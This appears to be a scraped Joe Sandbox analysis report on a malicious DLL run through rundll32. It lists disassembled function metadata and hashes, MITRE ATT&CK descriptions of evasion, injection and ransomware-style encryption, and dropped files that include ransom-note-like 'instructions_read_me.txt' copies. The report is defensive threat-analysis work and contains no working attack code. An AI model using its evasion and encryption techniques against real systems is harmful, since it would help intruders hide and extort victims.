Opcode Fuzzy Hash: b321819d6ffdc22428ea8b8fcf43c99553e0088b615693bf94475cdc3c66c0e4
Instruction Fuzzy Hash: AD31B261B0AA4791EF10EB24E4A16B97361FF94744F405032DA6C4B6FEEE2CE559C740

Function 00007FFDFB614040 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB614111
__std_exception_copy.LIBVCRUNTIME ref: 00007FFDFB614144

Strings

ios_base::failbit set, xrefs: 00007FFDFB614040

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: __std_exception_copy_invalid_parameter_noinfo_noreturn
String ID: ios_base::failbit set
API String ID: 1109970293-3924258884
Opcode ID: 8068d08520f6c9fd021f6df69202bf09db7ca9921544ba41104a27a7fe1e077e
Instruction ID: b6974a4c1c1f41b50891577397e9f01a34d4ff94f6c5f598cec0dbbc248954ce
Opcode Fuzzy Hash: 8068d08520f6c9fd021f6df69202bf09db7ca9921544ba41104a27a7fe1e077e
Instruction Fuzzy Hash: 5B21C761B19B8691EB009B25E45167A7360FB58B64F506331EABC0B7E9DF3CD190C700

Function 00007FFDFB6982A8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 68COMMON

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FFDFB6983A6

Strings

void, xrefs: 00007FFDFB698308
void , xrefs: 00007FFDFB698330

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: Name::operator+
String ID: void$void
API String ID: 2943138195-3746155364
Opcode ID: 0aeeac5dbdbd323d4ee0d9405b247e074ae6fad52ee49ba5ed2e90edc3ce6778
Instruction ID: 6e6ae904b453537df17e2b913eb8e25fdeeb1f562be9b43d22a4d19244134471
Opcode Fuzzy Hash: 0aeeac5dbdbd323d4ee0d9405b247e074ae6fad52ee49ba5ed2e90edc3ce6778
Instruction Fuzzy Hash: BA310562F1AB5698FB01CBA4E8618FC37B0BB48788F440136DA5E5ABA9DF3C9144C750

Function 00007FFDFB630560 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB630650

Strings

?, xrefs: 00007FFDFB630593
2, xrefs: 00007FFDFB63058A

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: 2$?
API String ID: 3668304517-2669683831
Opcode ID: 7164ed07b2c25ffb8bfd51e26a867daff7ef2712de1091d4ac8551d31982aa53
Instruction ID: 2a1ab848c9ad8bcb18f387cc3c2ed3fcbbd8dc7234924e03ee8c2b8598314af0
Opcode Fuzzy Hash: 7164ed07b2c25ffb8bfd51e26a867daff7ef2712de1091d4ac8551d31982aa53
Instruction Fuzzy Hash: 15217362B19B4381E7019B24E8617796360FB99798F545231EAAC4A7FAEF3CE1C48300

Function 00007FFDFB62C9E0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 66COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB62CAE2

Strings

: Nonblocking input is not implemented by this object., xrefs: 00007FFDFB62CA31
6, xrefs: 00007FFDFB62CA28

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: 6$: Nonblocking input is not implemented by this object.
API String ID: 3668304517-4211927919
Opcode ID: 637276cb520d612694fc0c6330b26c938f95d86bd1758cb28b052b6f5ea4db2d
Instruction ID: fc3e03bc824dd267397e2fcb3b6e397253afcb6fa99bf1ee39c6f4105ed690a8
Opcode Fuzzy Hash: 637276cb520d612694fc0c6330b26c938f95d86bd1758cb28b052b6f5ea4db2d
Instruction Fuzzy Hash: 0A219162B1AB4641EB14DB64E4647697360FB89BA4F504631EABC4BBF9DF3CE180C740

Function 00007FFDFB630750 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB630767
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FFDFB6307A6

Part of subcall function 00007FFDFB66782C: _Yarn.LIBCPMT ref: 00007FFDFB66785A

Strings

bad locale name, xrefs: 00007FFDFB6307BA

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: std::_$Locinfo::_Locinfo_ctorLockitLockit::_Yarn
String ID: bad locale name
API String ID: 1838369231-1405518554
Opcode ID: e521f24b7913439912d81b71657fa39e4ca9113b39c0748d5f40819341080bbd
Instruction ID: dc3c73bf6ae594985b933bd75ab40993c3b52e46c0276a2d9afc6a78acad8e25
Opcode Fuzzy Hash: e521f24b7913439912d81b71657fa39e4ca9113b39c0748d5f40819341080bbd
Instruction Fuzzy Hash: 0311D362706B8189DB44DF79B95416C63B2EB58FC4B289139CA5C8B36DDF38C491C380

Function 00007FFDFB6BA3E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

_set_errno_from_matherr.LIBCMT ref: 00007FFDFB6BA434
_set_errno_from_matherr.LIBCMT ref: 00007FFDFB6BA4A1

Strings

exp, xrefs: 00007FFDFB6BA40F

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: _set_errno_from_matherr
String ID: exp
API String ID: 1187470696-113136155
Opcode ID: be00921834f5cb8bbb641b431b1111c62d71b2ec193b6b743ea2251ee4c2305a
Instruction ID: 1d5f0f000a893e3ad86f44b18372b103ff96139a20c80753754601639a78ac3a
Opcode Fuzzy Hash: be00921834f5cb8bbb641b431b1111c62d71b2ec193b6b743ea2251ee4c2305a
Instruction Fuzzy Hash: 64212A36F16A168EE750DF74C490AAD33B0FB48348F405535EA1E9AB9AEF38E4418B40

Function 00007FFDFB690324 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,00007FFDFB61846F), ref: 00007FFDFB690368
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,00007FFDFB61846F), ref: 00007FFDFB6903AE

Strings

csm, xrefs: 00007FFDFB69039B

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 2f93c52c03e56fd5c7a89d7c5856efeeea59a309f841adba665810a2db6800bb
Instruction ID: 9c21ce11b3604aecf333ac71cff47a4912d46953eca4a1b1340edf4fc4617b56
Opcode Fuzzy Hash: 2f93c52c03e56fd5c7a89d7c5856efeeea59a309f841adba665810a2db6800bb
Instruction Fuzzy Hash: BA114F32609B4682EB508F15E450669B7A1FB88B88F184231DF9D0BBA8DF3CD551C740

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.
Tactics:	Lateral Movement
Data Sources:	File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN , ZXProxy, and ZXPortMap. Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.
Tactics:	Impact
Data Sources:	Cloud Storage: Cloud Storage Modification, Command: Command Execution, File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report WIFCgRK79c.dll

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Initial Sample

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\$WinREAgent\Scratch\instructions_read_me.txt

C:\$WinREAgent\instructions_read_me.txt

C:\PerfLogs\instructions_read_me.txt

C:\Program Files (x86)\AutoIt3\Au3Check.dat

C:\Program Files (x86)\AutoIt3\Au3Check.exe

C:\Program Files (x86)\AutoIt3\Au3Info.exe

C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe

C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe

C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe

C:\Program Files (x86)\AutoIt3\Aut2Exe\instructions_read_me.txt

C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exe

C:\Program Files (x86)\AutoIt3\AutoIt v3 Website.url

C:\Program Files (x86)\AutoIt3\AutoIt.chm

C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe

C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe

C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX.chm

C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX.psd1

Windows Analysis Report
WIFCgRK79c.dll